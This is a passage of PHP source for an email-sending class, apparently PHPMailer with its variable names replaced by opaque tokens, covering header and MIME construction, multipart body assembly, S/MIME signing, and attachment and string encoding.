if ($spf993c2 !== '') { $sp6713e3 .= $sp25e41a . sprintf('=%s', static::$LE); } else { $sp470645 = $sp25e41a; } } } else { $sp144903 = $sp470645; if (!$sp7cc3e3) { $sp470645 .= ' '; } $sp470645 .= $spf993c2; if ('' !== $sp144903 && strlen($sp470645) > $spa5d894) { $sp6713e3 .= $sp144903 . $sp83f5e4; $sp470645 = $spf993c2; } } $sp7cc3e3 = false; } $sp6713e3 .= $sp470645 . static::$LE; } return $sp6713e3; } public function utf8CharBoundary($spc49c1b, $sp30a344) { $sp35aafb = false; $spbfac44 = 3; while (!$sp35aafb) { $sp627017 = substr($spc49c1b, $sp30a344 - $spbfac44, $spbfac44); $spc35177 = strpos($sp627017, '='); if (false !== $spc35177) { $sp8e578f = substr($spc49c1b, $sp30a344 - $spbfac44 + $spc35177 + 1, 2); $sp6aeebb = hexdec($sp8e578f); if ($sp6aeebb < 128) { if ($spc35177 > 0) { $sp30a344 -= $spbfac44 - $spc35177; } $sp35aafb = true; } elseif ($sp6aeebb >= 192) { $sp30a344 -= $spbfac44 - $spc35177; $sp35aafb = true; } elseif ($sp6aeebb < 192) { $spbfac44 += 3; } } else { $sp35aafb = true; } } return $sp30a344; } public function setWordWrap() { if ($this->WordWrap < 1) { return; } switch ($this->message_type) { case 'alt': case 'alt_inline': case 'alt_attach': case 'alt_inline_attach': $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap); break; default: $this->Body = $this->wrapText($this->Body, $this->WordWrap); break; } } public function createHeader() { $spf988c0 = ''; $spf988c0 .= $this->headerLine('Date', '' === $this->MessageDate ? self::rfcDate() : $this->MessageDate); if ($this->SingleTo) { if ('mail' !== $this->Mailer) { foreach ($this->to as $sp7c6319) { $this->SingleToArray[] = $this->addrFormat($sp7c6319); } } } elseif (count($this->to) > 0) { if ('mail' !== $this->Mailer) { $spf988c0 .= $this->addrAppend('To', $this->to); } } elseif (count($this->cc) === 0) { $spf988c0 .= $this->headerLine('To', 'undisclosed-recipients:;'); } $spf988c0 .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName))); if (count($this->cc) > 0) { $spf988c0 .= $this->addrAppend('Cc', $this->cc); } if (('sendmail' === $this->Mailer || 'qmail' === $this->Mailer || 'mail' === $this->Mailer) && count($this->bcc) > 0) { $spf988c0 .= $this->addrAppend('Bcc', $this->bcc); } if (count($this->ReplyTo) > 0) { $spf988c0 .= $this->addrAppend('Reply-To', $this->ReplyTo); } if ('mail' !== $this->Mailer) { $spf988c0 .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject))); } if ('' !== $this->MessageID && preg_match('/^<.*@.*>$/', $this->MessageID)) { $this->lastMessageID = $this->MessageID; } else { $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname()); } $spf988c0 .= $this->headerLine('Message-ID', $this->lastMessageID); if (null !== $this->Priority) { $spf988c0 .= $this->headerLine('X-Priority', $this->Priority); } if ('' !== $this->ConfirmReadingTo) { $spf988c0 .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>'); } foreach ($this->CustomHeader as $sp03359b) { $spf988c0 .= $this->headerLine(trim($sp03359b[0]), $this->encodeHeader(trim($sp03359b[1]))); } if (!$this->sign_key_file) { $spf988c0 .= $this->headerLine('MIME-Version', '1.0'); $spf988c0 .= $this->getMailMIME(); } return $spf988c0; } public function getMailMIME() { $spf988c0 = ''; $sp63bb5d = true; switch ($this->message_type) { case 'inline': $spf988c0 .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_RELATED . ';'); $spf988c0 .= $this->textLine(' boundary="' . $this->boundary[1] . '"'); break; case 'attach': case 'inline_attach': case 'alt_attach': case 'alt_inline_attach': $spf988c0 .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_MIXED . ';'); $spf988c0 .= $this->textLine(' boundary="' . $this->boundary[1] . '"'); break; case 'alt': case 'alt_inline': $spf988c0 .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_ALTERNATIVE . ';'); $spf988c0 .= $this->textLine(' boundary="' . $this->boundary[1] . '"'); break; default: $spf988c0 .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet); $sp63bb5d = false; break; } if (static::ENCODING_7BIT !== $this->Encoding) { if ($sp63bb5d) { if (static::ENCODING_8BIT === $this->Encoding) { $spf988c0 .= $this->headerLine('Content-Transfer-Encoding', static::ENCODING_8BIT); } } else { $spf988c0 .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding); } } if ('mail' !== $this->Mailer) { } return $spf988c0; } public function getSentMIMEMessage() { return static::stripTrailingWSP($this->MIMEHeader . $this->mailHeader) . static::$LE . static::$LE . $this->MIMEBody; } protected function generateId() { $spbd0a44 = 32; $sp92383e = ''; if (function_exists('random_bytes')) { try { $sp92383e = random_bytes($spbd0a44); } catch (\Exception $sp7eefec) { } } elseif (function_exists('openssl_random_pseudo_bytes')) { $sp92383e = openssl_random_pseudo_bytes($spbd0a44); } if ($sp92383e === '') { $sp92383e = hash('sha256', uniqid((string) mt_rand(), true), true); } return str_replace(array('=', '+', '/'), '', base64_encode(hash('sha256', $sp92383e, true))); } public function createBody() { $spd76997 = ''; $this->uniqueid = $this->generateId(); $this->boundary[1] = 'b1_' . $this->uniqueid; $this->boundary[2] = 'b2_' . $this->uniqueid; $this->boundary[3] = 'b3_' . $this->uniqueid; if ($this->sign_key_file) { $spd76997 .= $this->getMailMIME() . static::$LE; } $this->setWordWrap(); $sp258920 = $this->Encoding; $sp7eda71 = $this->CharSet; if (static::ENCODING_8BIT === $sp258920 && !$this->has8bitChars($this->Body)) { $sp258920 = static::ENCODING_7BIT; $sp7eda71 = static::CHARSET_ASCII; } if (static::ENCODING_BASE64 !== $this->Encoding && static::hasLineLongerThanMax($this->Body)) { $sp258920 = static::ENCODING_QUOTED_PRINTABLE; } $sp4011aa = $this->Encoding; $sp6ffe1b = $this->CharSet; if (static::ENCODING_8BIT === $sp4011aa && !$this->has8bitChars($this->AltBody)) { $sp4011aa = static::ENCODING_7BIT; $sp6ffe1b = static::CHARSET_ASCII; } if (static::ENCODING_BASE64 !== $sp4011aa && static::hasLineLongerThanMax($this->AltBody)) { $sp4011aa = static::ENCODING_QUOTED_PRINTABLE; } $sp4cc3c2 = 'This is a multi-part message in MIME format.' . static::$LE . static::$LE; switch ($this->message_type) { case 'inline': $spd76997 .= $sp4cc3c2; $spd76997 .= $this->getBoundary($this->boundary[1], $sp7eda71, '', $sp258920); $spd76997 .= $this->encodeString($this->Body, $sp258920); $spd76997 .= static::$LE; $spd76997 .= $this->attachAll('inline', $this->boundary[1]); break; case 'attach': $spd76997 .= $sp4cc3c2; $spd76997 .= $this->getBoundary($this->boundary[1], $sp7eda71, '', $sp258920); $spd76997 .= $this->encodeString($this->Body, $sp258920); $spd76997 .= static::$LE; $spd76997 .= $this->attachAll('attachment', $this->boundary[1]); break; case 'inline_attach': $spd76997 .= $sp4cc3c2; $spd76997 .= $this->textLine('--' . $this->boundary[1]); $spd76997 .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_RELATED . ';'); $spd76997 .= $this->textLine(' boundary="' . $this->boundary[2] . '";'); $spd76997 .= $this->textLine(' type="' . static::CONTENT_TYPE_TEXT_HTML . '"'); $spd76997 .= static::$LE; $spd76997 .= $this->getBoundary($this->boundary[2], $sp7eda71, '', $sp258920); $spd76997 .= $this->encodeString($this->Body, $sp258920); $spd76997 .= static::$LE; $spd76997 .= $this->attachAll('inline', $this->boundary[2]); $spd76997 .= static::$LE; $spd76997 .= $this->attachAll('attachment', $this->boundary[1]); break; case 'alt': $spd76997 .= $sp4cc3c2; $spd76997 .= $this->getBoundary($this->boundary[1], $sp6ffe1b, static::CONTENT_TYPE_PLAINTEXT, $sp4011aa); $spd76997 .= $this->encodeString($this->AltBody, $sp4011aa); $spd76997 .= static::$LE; $spd76997 .= $this->getBoundary($this->boundary[1], $sp7eda71, static::CONTENT_TYPE_TEXT_HTML, $sp258920); $spd76997 .= $this->encodeString($this->Body, $sp258920); $spd76997 .= static::$LE; if (!empty($this->Ical)) { $sp027106 = static::ICAL_METHOD_REQUEST; foreach (static::$IcalMethods as $sp6be373) { if (stripos($this->Ical, 'METHOD:' . $sp6be373) !== false) { $sp027106 = $sp6be373; break; } } $spd76997 .= $this->getBoundary($this->boundary[1], '', static::CONTENT_TYPE_TEXT_CALENDAR . '; method=' . $sp027106, ''); $spd76997 .= $this->encodeString($this->Ical, $this->Encoding); $spd76997 .= static::$LE; } $spd76997 .= $this->endBoundary($this->boundary[1]); break; case 'alt_inline': $spd76997 .= $sp4cc3c2; $spd76997 .= $this->getBoundary($this->boundary[1], $sp6ffe1b, static::CONTENT_TYPE_PLAINTEXT, $sp4011aa); $spd76997 .= $this->encodeString($this->AltBody, $sp4011aa); $spd76997 .= static::$LE; $spd76997 .= $this->textLine('--' . $this->boundary[1]); $spd76997 .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_RELATED . ';'); $spd76997 .= $this->textLine(' boundary="' . $this->boundary[2] . '";'); $spd76997 .= $this->textLine(' type="' . static::CONTENT_TYPE_TEXT_HTML . '"'); $spd76997 .= static::$LE; $spd76997 .= $this->getBoundary($this->boundary[2], $sp7eda71, static::CONTENT_TYPE_TEXT_HTML, $sp258920); $spd76997 .= $this->encodeString($this->Body, $sp258920); $spd76997 .= static::$LE; $spd76997 .= $this->attachAll('inline', $this->boundary[2]); $spd76997 .= static::$LE; $spd76997 .= $this->endBoundary($this->boundary[1]); break; case 'alt_attach': $spd76997 .= $sp4cc3c2; $spd76997 .= $this->textLine('--' . $this->boundary[1]); $spd76997 .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_ALTERNATIVE . ';'); $spd76997 .= $this->textLine(' boundary="' . $this->boundary[2] . '"'); $spd76997 .= static::$LE; $spd76997 .= $this->getBoundary($this->boundary[2], $sp6ffe1b, static::CONTENT_TYPE_PLAINTEXT, $sp4011aa); $spd76997 .= $this->encodeString($this->AltBody, $sp4011aa); $spd76997 .= static::$LE; $spd76997 .= $this->getBoundary($this->boundary[2], $sp7eda71, static::CONTENT_TYPE_TEXT_HTML, $sp258920); $spd76997 .= $this->encodeString($this->Body, $sp258920); $spd76997 .= static::$LE; if (!empty($this->Ical)) { $sp027106 = static::ICAL_METHOD_REQUEST; foreach (static::$IcalMethods as $sp6be373) { if (stripos($this->Ical, 'METHOD:' . $sp6be373) !== false) { $sp027106 = $sp6be373; break; } } $spd76997 .= $this->getBoundary($this->boundary[2], '', static::CONTENT_TYPE_TEXT_CALENDAR . '; method=' . $sp027106, ''); $spd76997 .= $this->encodeString($this->Ical, $this->Encoding); } $spd76997 .= $this->endBoundary($this->boundary[2]); $spd76997 .= static::$LE; $spd76997 .= $this->attachAll('attachment', $this->boundary[1]); break; case 'alt_inline_attach': $spd76997 .= $sp4cc3c2; $spd76997 .= $this->textLine('--' . $this->boundary[1]); $spd76997 .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_ALTERNATIVE . ';'); $spd76997 .= $this->textLine(' boundary="' . $this->boundary[2] . '"'); $spd76997 .= static::$LE; $spd76997 .= $this->getBoundary($this->boundary[2], $sp6ffe1b, static::CONTENT_TYPE_PLAINTEXT, $sp4011aa); $spd76997 .= $this->encodeString($this->AltBody, $sp4011aa); $spd76997 .= static::$LE; $spd76997 .= $this->textLine('--' . $this->boundary[2]); $spd76997 .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_RELATED . ';'); $spd76997 .= $this->textLine(' boundary="' . $this->boundary[3] . '";'); $spd76997 .= $this->textLine(' type="' . static::CONTENT_TYPE_TEXT_HTML . '"'); $spd76997 .= static::$LE; $spd76997 .= $this->getBoundary($this->boundary[3], $sp7eda71, static::CONTENT_TYPE_TEXT_HTML, $sp258920); $spd76997 .= $this->encodeString($this->Body, $sp258920); $spd76997 .= static::$LE; $spd76997 .= $this->attachAll('inline', $this->boundary[3]); $spd76997 .= static::$LE; $spd76997 .= $this->endBoundary($this->boundary[2]); $spd76997 .= static::$LE; $spd76997 .= $this->attachAll('attachment', $this->boundary[1]); break; default: $this->Encoding = $sp258920; $spd76997 .= $this->encodeString($this->Body, $this->Encoding); break; } if ($this->isError()) { $spd76997 = ''; if ($this->exceptions) { throw new Exception($this->lang('empty_message'), self::STOP_CRITICAL); } } elseif ($this->sign_key_file) { try { if (!defined('PKCS7_TEXT')) { throw new Exception($this->lang('extension_missing') . 'openssl'); } $sp5601c4 = tempnam(sys_get_temp_dir(), 'srcsign'); $sp2d18e0 = tempnam(sys_get_temp_dir(), 'mailsign'); file_put_contents($sp5601c4, $spd76997); if (empty($this->sign_extracerts_file)) { $spa818dc = @openssl_pkcs7_sign($sp5601c4, $sp2d18e0, 'file://' . realpath($this->sign_cert_file), array('file://' . realpath($this->sign_key_file), $this->sign_key_pass), array()); } else { $spa818dc = @openssl_pkcs7_sign($sp5601c4, $sp2d18e0, 'file://' . realpath($this->sign_cert_file), array('file://' . realpath($this->sign_key_file), $this->sign_key_pass), array(), PKCS7_DETACHED, $this->sign_extracerts_file); } @unlink($sp5601c4); if ($spa818dc) { $spd76997 = file_get_contents($sp2d18e0); @unlink($sp2d18e0); $sp3b4706 = explode('
', $spd76997, 2); $this->MIMEHeader .= $sp3b4706[0] . static::$LE . static::$LE; $spd76997 = $sp3b4706[1]; } else { @unlink($sp2d18e0); throw new Exception($this->lang('signing') . openssl_error_string()); } } catch (Exception $spa08c34) { $spd76997 = ''; if ($this->exceptions) { throw $spa08c34; } } } return $spd76997; } protected function getBoundary($spc1f3f6, $sp71c290, $sp89c884, $sp8531d0) { $spf988c0 = ''; if ('' === $sp71c290) { $sp71c290 = $this->CharSet; } if ('' === $sp89c884) { $sp89c884 = $this->ContentType; } if ('' === $sp8531d0) { $sp8531d0 = $this->Encoding; } $spf988c0 .= $this->textLine('--' . $spc1f3f6); $spf988c0 .= sprintf('Content-Type: %s; charset=%s', $sp89c884, $sp71c290); $spf988c0 .= static::$LE; if (static::ENCODING_7BIT !== $sp8531d0) { $spf988c0 .= $this->headerLine('Content-Transfer-Encoding', $sp8531d0); } $spf988c0 .= static::$LE; return $spf988c0; } protected function endBoundary($spc1f3f6) { return static::$LE . '--' . $spc1f3f6 . '--' . static::$LE; } protected function setMessageType() { $sp84b96c = array(); if ($this->alternativeExists()) { $sp84b96c[] = 'alt'; } if ($this->inlineImageExists()) { $sp84b96c[] = 'inline'; } if ($this->attachmentExists()) { $sp84b96c[] = 'attach'; } $this->message_type = implode('_', $sp84b96c); if ('' === $this->message_type) { $this->message_type = 'plain'; } } public function headerLine($spdeeed8, $spf2f6fc) { return $spdeeed8 . ': ' . $spf2f6fc . static::$LE; } public function textLine($spf2f6fc) { return $spf2f6fc . static::$LE; } public function addAttachment($sp9e5935, $spdeeed8 = '', $sp8531d0 = self::ENCODING_BASE64, $sp84b96c = '', $spc6ea88 = 'attachment') { try { if (!static::isPermittedPath($sp9e5935) || !@is_file($sp9e5935) || !is_readable($sp9e5935)) { throw new Exception($this->lang('file_access') . $sp9e5935, self::STOP_CONTINUE); } if ('' === $sp84b96c) { $sp84b96c = static::filenameToType($sp9e5935); } $spc11822 = (string) static::mb_pathinfo($sp9e5935, PATHINFO_BASENAME); if ('' === $spdeeed8) { $spdeeed8 = $spc11822; } if (!$this->validateEncoding($sp8531d0)) { throw new Exception($this->lang('encoding') . $sp8531d0); } $this->attachment[] = array(0 => $sp9e5935, 1 => $spc11822, 2 => $spdeeed8, 3 => $sp8531d0, 4 => $sp84b96c, 5 => false, 6 => $spc6ea88, 7 => $spdeeed8); } catch (Exception $spa08c34) { $this->setError($spa08c34->getMessage()); $this->edebug($spa08c34->getMessage()); if ($this->exceptions) { throw $spa08c34; } return false; } return true; } public function getAttachments() { return $this->attachment; } protected function attachAll($sp0f5c49, $spc1f3f6) { $sp5ced66 = array(); $sp5b650e = array(); $sp397ec1 = array(); foreach ($this->attachment as $sp0f4801) { if ($sp0f4801[6] === $sp0f5c49) { $spccb6f7 = ''; $sp9e5935 = ''; $sp9bd714 = $sp0f4801[5]; if ($sp9bd714) { $spccb6f7 = $sp0f4801[0]; } else { $sp9e5935 = $sp0f4801[0]; } $spff2f5e = hash('sha256', serialize($sp0f4801)); if (in_array($spff2f5e, $sp397ec1, true)) { continue; } $sp397ec1[] = $spff2f5e; $spdeeed8 = $sp0f4801[2]; $sp8531d0 = $sp0f4801[3]; $sp84b96c = $sp0f4801[4]; $spc6ea88 = $sp0f4801[6]; $sp38727a = $sp0f4801[7]; if ('inline' === $spc6ea88 && array_key_exists($sp38727a, $sp5b650e)) { continue; } $sp5b650e[$sp38727a] = true; $sp5ced66[] = sprintf('--%s%s', $spc1f3f6, static::$LE); if (!empty($spdeeed8)) { $sp5ced66[] = sprintf('Content-Type: %s; name=%s%s', $sp84b96c, static::quotedString($this->encodeHeader($this->secureHeader($spdeeed8))), static::$LE); } else { $sp5ced66[] = sprintf('Content-Type: %s%s', $sp84b96c, static::$LE); } if (static::ENCODING_7BIT !== $sp8531d0) { $sp5ced66[] = sprintf('Content-Transfer-Encoding: %s%s', $sp8531d0, static::$LE); } if ((string) $sp38727a !== '' && $spc6ea88 === 'inline') { $sp5ced66[] = 'Content-ID: <' . $this->encodeHeader($this->secureHeader($sp38727a)) . '>' . static::$LE; } if (!empty($spc6ea88)) { $spd3f6b8 = $this->encodeHeader($this->secureHeader($spdeeed8)); if (!empty($spd3f6b8)) { $sp5ced66[] = sprintf('Content-Disposition: %s; filename=%s%s', $spc6ea88, static::quotedString($spd3f6b8), static::$LE . static::$LE); } else { $sp5ced66[] = sprintf('Content-Disposition: %s%s', $spc6ea88, static::$LE . static::$LE); } } else { $sp5ced66[] = static::$LE; } if ($sp9bd714) { $sp5ced66[] = $this->encodeString($spccb6f7, $sp8531d0); } else { $sp5ced66[] = $this->encodeFile($sp9e5935, $sp8531d0); } if ($this->isError()) { return ''; } $sp5ced66[] = static::$LE; } } $sp5ced66[] = sprintf('--%s--%s', $spc1f3f6, static::$LE); return implode('', $sp5ced66); } protected function encodeFile($sp9e5935, $sp8531d0 = self::ENCODING_BASE64) { try { if (!static::isPermittedPath($sp9e5935) || !file_exists($sp9e5935) || !is_readable($sp9e5935)) { throw new Exception($this->lang('file_open') . $sp9e5935, self::STOP_CONTINUE); } $spa0d505 = file_get_contents($sp9e5935); if (false === $spa0d505) { throw new Exception($this->lang('file_open') . $sp9e5935, self::STOP_CONTINUE); } $spa0d505 = $this->encodeString($spa0d505, $sp8531d0); return $spa0d505; } catch (Exception $spa08c34) { $this->setError($spa08c34->getMessage()); $this->edebug($spa08c34->getMessage()); if ($this->exceptions) { throw $spa08c34; } return ''; } } public function encodeString($speadb40, $sp8531d0 = self::ENCODING_BASE64) { $sp9343b7 = ''; switch (strtolower($sp8531d0)) { case static::ENCODING_BASE64: $sp9343b7 = chunk_split(base64_encode($speadb40), static::STD_LINE_LENGTH, static::$LE); break; case static::ENCODING_7BIT: case static::ENCODING_8BIT: $sp9343b7 = static::normalizeBreaks($speadb40); if (substr($sp9343b7, -strlen(static::$LE)) !== static::$LE) { $sp9343b7 .= static::$LE; } break; case static::ENCODING_BINARY: $sp9343b7 = $speadb40; break; case static::ENCODING_QUOTED_PRINTABLE: $sp9343b7 = $this->encodeQP($speadb40); break; default: $this->setError($this->lang('encoding') . $sp8531d0); if ($this->exceptions) { throw new Exception($this->lang('encoding') . $sp8531d0); } break; } return $sp9343b7; } public function encodeHeader($speadb40, $sp0d1a31 = 'text') { $spb9d761 = 0; switch (strtolower($sp0d1a31)) { case 'phrase': if (!preg_match('/[\\200-\\377]/', $speadb40)) { $sp9343b7 = addcslashes($speadb40, '